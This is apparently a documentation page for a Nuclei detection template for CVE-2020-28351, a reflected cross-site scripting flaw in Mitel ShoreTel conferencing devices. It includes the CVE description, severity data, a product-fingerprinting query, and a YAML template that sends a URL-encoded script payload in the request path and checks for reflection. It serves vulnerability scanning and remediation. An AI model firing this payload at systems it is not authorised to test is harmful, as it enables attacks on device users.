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Mitel ShoreTel 19.46.1802.0 Devices - Cross-Site Scripting

ID: CVE-2020-28351

Severity: medium

Author: pikpikcu

Tags: cve,cve2020,shoretel,xss,mitel

Description

Section titled “Description”

Mitel ShoreTel 19.46.1802.0 devices and their conference component are vulnerable to an unauthenticated attacker conducting reflected cross-site scripting attacks via the PATH_INFO variable to index.php due to insufficient validation for the time_zone object in the HOME_MEETING& page.

YAML Source

Section titled “YAML Source”
id: CVE-2020-28351


info:
  name: Mitel ShoreTel 19.46.1802.0 Devices - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: |
    Mitel ShoreTel 19.46.1802.0 devices and their conference component are vulnerable to an unauthenticated attacker conducting reflected cross-site scripting attacks via the PATH_INFO variable to index.php due to insufficient validation for the time_zone object in the HOME_MEETING& page.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or updates provided by Mitel to mitigate the XSS vulnerability.
  reference:
    - https://packetstormsecurity.com/files/159987/ShoreTel-Conferencing-19.46.1802.0-Cross-Site-Scripting.html
    - https://www.mitel.com/articles/what-happened-shoretel-products
    - https://nvd.nist.gov/vuln/detail/CVE-2020-28351
    - http://packetstormsecurity.com/files/159987/ShoreTel-Conferencing-19.46.1802.0-Cross-Site-Scripting.html
    - https://github.com/dievus/cve-2020-28351
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-28351
    cwe-id: CWE-79
    epss-score: 0.00359
    epss-percentile: 0.72145
    cpe: cpe:2.3:h:mitel:shoretel:-:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: mitel
    product: shoretel
    fofa-query: body="ShoreTel" && icon_hash="268280373"
  tags: cve,cve2020,shoretel,xss,mitel


flow: http(1) && http(2)


http:
  - method: GET
    path:
      - "{{BaseURL}}"
      - "{{BaseURL}}/server-common/cgi-bin/login"


    stop-at-first-match: true
    redirects: true
    matchers:
      - type: word
        part: body
        words:
          - "Mitel Networks Corporation"
          - "ShoreTel"
        case-insensitive: true
        condition: or
        internal: true


  - method: GET
    path:
      - "{{BaseURL}}/index.php/%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E?page=HOME"


    headers:
      Content-Type: application/x-www-form-urlencoded


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'


      - type: word
        part: content_type
        words:
          - 'text/html'


      - type: status
        status:
          - 200
# digest: 4a0a0047304502210086431c8fbbfd16e5f5f574e40a47c9a68ac4dcdf731091aff6779530b16f7e60022018c2a081599bad8971b969b5e3eb68d86a6f810e1ea42806f6c1631fe4c77c2a:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-28351.yaml"

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